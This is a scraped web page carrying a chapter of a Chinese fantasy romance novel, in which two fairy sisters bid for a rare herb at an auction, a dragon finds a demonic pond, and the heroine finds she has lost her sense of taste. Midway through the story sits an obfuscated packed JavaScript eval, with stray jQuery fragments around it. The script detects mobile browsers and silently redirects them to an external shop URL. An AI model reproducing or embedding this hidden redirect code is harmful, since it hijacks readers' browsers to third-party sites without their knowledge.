文趣网 > 其他小说 > 吻莲诀 > 8. 捉弄
    吟画挑挑眉不置一言。

    可娴哼哼唧唧一会儿,“你等着瞧吧,今晚肯定有很多人要拍铸脉草,就你那点家底,再带上一个你自己我估计才能跟人叫一会儿板,切。”

    “……要不然我叫你来干什么?”

    吟画扭头看她,实诚道,“如果我能还得起我一定会还你的,如果还不起,下辈子我给你做牛做马吧。”

    “。”可娴:“你倒也不用每次都说实话,伤害到我了。”

    吟画凑过去跟她咬耳朵,两手攀着她的肩膀,腰身软下去,捏着嗓子嗔道:“你多有钱啊妹妹,买几根草的钱难不成都拿不出来?莫要逗我,这点钱对我们花界大富豪来说不就是九牛一毛么?多厉害呀,姐姐我好生嫉妒。”

    可娴立马上头:“嘿嘿嘿,这事就包我身上好啦,老娘有的是钱!”

    “哇,”吟画一脸崇拜地看着她,眼睛亮闪闪的,轻轻鼓着掌,“妹妹好棒。”

    “那这还说啥了,”可娴扯下腰间令牌丢给她,豪气道:“喜欢什么买什么,可劲儿买,我还养不起你了不成?”

    吟画毫不客气将令牌拢进袖子,抬手给可娴倒茶,亲切道:“妹妹快尝尝这个茶,好香。”

    两人闲聊没几时,一楼大堂就开始敲锣鼓。

    “今日拍卖,启——”

    吟画靠着椅背,微微抬眼,懒散道:“也不知道今晚还有什么东西。”

    “管他什么东西,这破烂地方能有啥好东西?”可娴翘着二郎腿吐一地瓜子壳,指指点点道,“这个铸脉草还不知道是哪个龟孙从别人那里抢的,这可是难寻的宝贝,我都没见过多少呢。”

    吟画笑笑,“也得感谢他了,要不然还不知道要去哪里找呢。”

    “丑话说在前头,你先别高兴太早,还缺好几样呢,”可娴瞥她一眼,“几百年前就开始找,找到现在才找到五六样……龙是上古血脉,修复经脉怎么可能是容易事,往后还不知道怎么样呢。”

    “不过话说回来,碾碎这龙经脉的人也一定不简单,修为要高,神族才有这能力,而且还要够狠够恨。也不知道这龙招惹了谁。”

    啧啧感叹半晌,她忽而眨着圆溜溜的杏眼凑过来,指尖拈着枚话梅奶香瓜子,“姐姐你老实告诉我,你是被哪个小妖精迷了眼?”

    吟画:“……你还看不看拍卖了?这都第三件了。”

    “呵呵,没话说了吧,”可娴还能看不穿她,冷笑两声不说话了,闷头吭哧吭哧嗑瓜子。

    迷人眼的小妖精在莲花池子里浮着。

    怎么才能用最快的速度把经脉修复好?岁泽躺在竹筏上,枕着手臂幽幽叹了口气,要不……

    不行。去了就是死路一条。

    好不容易才从神界逃下来,怎么能再上去呢。

    可是,不上去,就要一直废着吗?

    这几乎是个死局。上神界,但是他几乎没有什么修为,硬碰硬必死无疑,但要是不碰硬,用智谋的话还得从长计议,可现在时间有限,一点点来指不定要耗多长时间在这上面,根本等不得。

    可若是不上神界,经脉修复不了,就只能一直做个人人嫌弃的废物,拖油瓶。

    提升修为?怎么提升?经脉尽断连修炼都不行,现在能用的法力何其微薄,大部分都是血脉中本身就存在的。

    岁泽正皱眉沉思,竹筏哐当一声不知道撞上了什么。生怕是吟画的宝贝,他连忙爬起来看,抬眼却见一座黑石堤坝,隐能嗅到血腥味。

    这是什么鬼?

    他从竹筏上跳起来,踏上石坝观望。

    没有太多奇异景观,只是一片黑色,黑色的莲花,黑色的池水,带着滔天煞气。

    他忽而想起百年前吟画说过的话,原来这池子里盛放的就是炼化莲种时抽离的魔息煞气吗?

    可是放在这里真的合适吗?一点防范措施也没有,万一不小心掉进去了怎么办?

    这……

    岁泽从袖子里摸出几颗小石子,随手抛了抛洒出去,落地成阵,“这样就好了,放个结界在这里,就算脚滑也不会掉进去。”

    他拍拍手,一蹦一跳离开。

    吟画嘴角抽了抽,扶额不语。

    这混账东西,竟然能直接识破我的障眼法。

    可娴给她塞了颗脆青梅,“你怎么又不说话了?我要把你牙酸掉。”

    吟画抬头盯着可娴,面不改色将青梅嚼了,她把核吐在手心,平淡道:“这下又要不高兴了?”

    可娴:“。”

    “真的不酸么?”

    吟画抿嘴:“不酸,没味道。”

    “我信你个鬼,”可娴抱臂,“这都多少年前的烂把戏了,我这样聪明机智的花仙会信?”

    “……真的,没有,味道。”

    吟画说完自己也顿了顿,桃花眼一眯,藤木篮子里挑了只桃子,又是一口。

    她僵住不动了。

    楼下已经开始喊新一轮的竞价,是铸脉草,可娴见她不说话,连忙自己跟着叫道:“五十万晶币!”

    隔壁雅间传来一声温润柔和的嗓音:“五十五。”

    吟画不信邪,又咬了一口。

    “大馋闺女你就吃吧!”可娴直接给她一个肘击,懒得多周旋,直接报:“一百!”

    隔壁不说话了,楼下又开始闹闹嚷嚷宣布这份铸脉草归谁,吟画什么都听不见,耳畔闹哄哄一片,所有声音都失真。

    等铸脉草被人送上来,可娴拿过来仔细端详的时候,她倏然回了神,抿抿嘴唇,有点呆:“我尝不到味道了。”

    可娴手一抖,差点把铸脉草全洒楼下去。

    她瞪着眼过来摸吟画的额头:“你得风寒了?”

    吟画:“。”

    她拂开可娴,盘腿坐到椅子上,又拿了颗小小的青梅放到唇边咬着,“我之前怎么一直没有察觉?”

    “你来真的?你来真的?吟画你来真的?”

    可娴发出一声歇斯底里的尖叫。

    她把吟画嘴边的梅子扒过来丢掉,抱住吟画哭唧唧道:“我带你去看大夫,我们花界最好的大夫,呜呜呜呜呜——阿姊!”

    吟画:“。”

    “停停停,打住打住,我只是奇怪我为什么一直没有发现,不是怕死,你冷静一点好吗?”

    可娴收放自如,瞬间乖乖坐好:“哦。”

    吟画沉默,简直不想和这个弱智多言。

    “该不会是你平时都不吃喝吧?我记得你确实没有饮食的习惯,所有今天才发现?”

    “唔……大抵是,但是我身体上没有任何不适,就很突然,我也不知道怎么就——”

    吟画陡然止住话头。

    难不成是因为重生?就像重生后身体腐败残朽一样,只不过味觉的丧失很慢?百年了才开始?

    “喂!你想什么呢?也不说话。”

    吟画摇了摇头,把铸魂草收起来,“这草多少钱?”

    可娴乖乖道:“一百。”

    吟画给她一只钱袋,“我先回去了,不用找零。”

    “。”可娴爆炸,“是一百万,不是一百啊姐姐!”

    吟画止住步子,慢慢看向她,试探道:“要不我送两个小厮到你的酒庄抵债?”

    “……你那死徒弟还有小妖精?”

    “话倒也不能这么说,我们红鲤那么俏皮能干,蠢龙那么……呃,那么……那么帅,他俩都很听话的,指哪儿打哪儿,叫往东绝不往西,可以完全信任。”

    可娴:“你藏被窝里的那小妖精是什么样我不知道,不过红鲤倒确实——”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721207|208660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    吟画脸上的笑瞬间僵住,她故意拖着强调,看人险些维持不住体面的微笑。

    “确实——好啦,你赶紧走吧,瞧给你吓的,我要是收了鲤鱼那不是成你儿媳了嘛,我还不蠢,你赶紧滚赶紧滚。”

    “唔,成我儿媳,有点意思。”吟画负手走了几步,都走到门边了,像是突然回味到什么,又回过身来,看着她,慢悠悠道:“你怎么知道我徒弟怎么怎么样?”

    可娴瞬间说不出话了,小脸憋得通红。

    吟画绕着她走一圈,不急不慢道:“红鲤跟我汇报的时候,我还说好奇谁能有本事带红鲤进来,让他好好跟踪人家,没被人发现没被人打死,原来,哦,原来是我妹妹一直暗中相护啊。”

    “嘶,那小子是不是要请你吃饭来着?这是……吃过了?”

    可娴不复刚才那副嚣张样了,安安静静缩成了鹌鹑。

    “吃饱喝足了已经。”

    “哦,吃过了,”吟画懒懒拍了拍手,挑眉道,“那你还说在门口等我,苦苦等着,等得像邻居家的二傻子。”

    可娴已汗流浃背:“饶我一命吧姐姐,我以后绝对不会老牛吃嫩草了。”

    “哇,居然还有这样的心思,你说这话,看来是,吃过了?”

    吟画依旧捻着手指,不紧不慢:“把我家乖徒儿的身子都占了,还想就此放手,此后海阔天空?可娴妹妹,你这事做得可不周到。”

    “可你又帮我留下这铸脉草,还替我交了一百万晶币,这……”

    “彩礼!”可娴立马说,脆生生的,“彩礼怎么样?把你那傻徒弟给我吧!这钱不用你还,就当是彩礼了怎么样?”

    吟画背过身勾起一个笑,声音倒是依旧沉稳不变,“那也只能这样了,你可要对我的掌心爱徒负责啊。”

    “我肯定负责,姐姐不要生我的气,红鲤不就是路边随便捡的一条鱼嘛,若非是姐姐的徒弟,我还看不上呢。”

    “怎么能因为他伤了我们姐妹间的和气,”可娴忙不迭接话,说话都不过脑子了,“哪天你直接让他去花界找我就是了,这一百万我还不放在心上,一块当彩礼,剩下九千九百九十九那都是给姐姐赔罪的心意,姐姐莫要不高兴。”

    “大门已开,我先回去了,”吟画侧脸给她递了个眼神,似笑非笑,像是捉弄。

    可娴一开始没看明白那是什么意思,直到雅间打开,她看见红鲤抱着几包糖果,站在门外一副泫然欲泣的模样,才瞬间明白那眼神里的促狭。

    而吟画丝毫不管他们之间的事,闪身回仙界,长长舒了口气。

    糊弄可娴可不是一件容易事。

    她垂眼算了算时间,打算找个空闲日子去看看失去味觉是怎么回事。

    岁泽还蜷在玉台上睡觉,吟画站一边看着看着看出一股无名怒火。

    你这小日子过得倒是滋润,天天不是玩就是睡,一副没心没肺样。

    她袖口一拂直接将人扇醒,岁泽捂着脸迷茫起身,看到吟画时眼睛都亮了,“仙上!您回来了!”

    吟画根本不想搭理他,要不是为了人间为了仙界,谁会在意这蠢龙?

    她修的是苍生道不错,可并非万事万物如一无别的苍生道,个人喜恶还是有的。

    “既然拿到仙尊的手书了,那就赶紧收拾收拾,跟本仙一起去把几个要在神界和魔界修筑的快递点位定一下,其他人恐生事端,我不放心。”

    岁泽站起来:“好。”

    ……终于还是要上神界了么。

    吟画淡淡瞥他一眼,眸中没什么意味,岁泽却嗅到一丝不同寻常,“怎么了仙上?您看我干什么?”

    什么怎么了?你这脸本仙难不成还看不得?

    吟画收回目光,转过身,裙袂如云,随口一答:“无事。”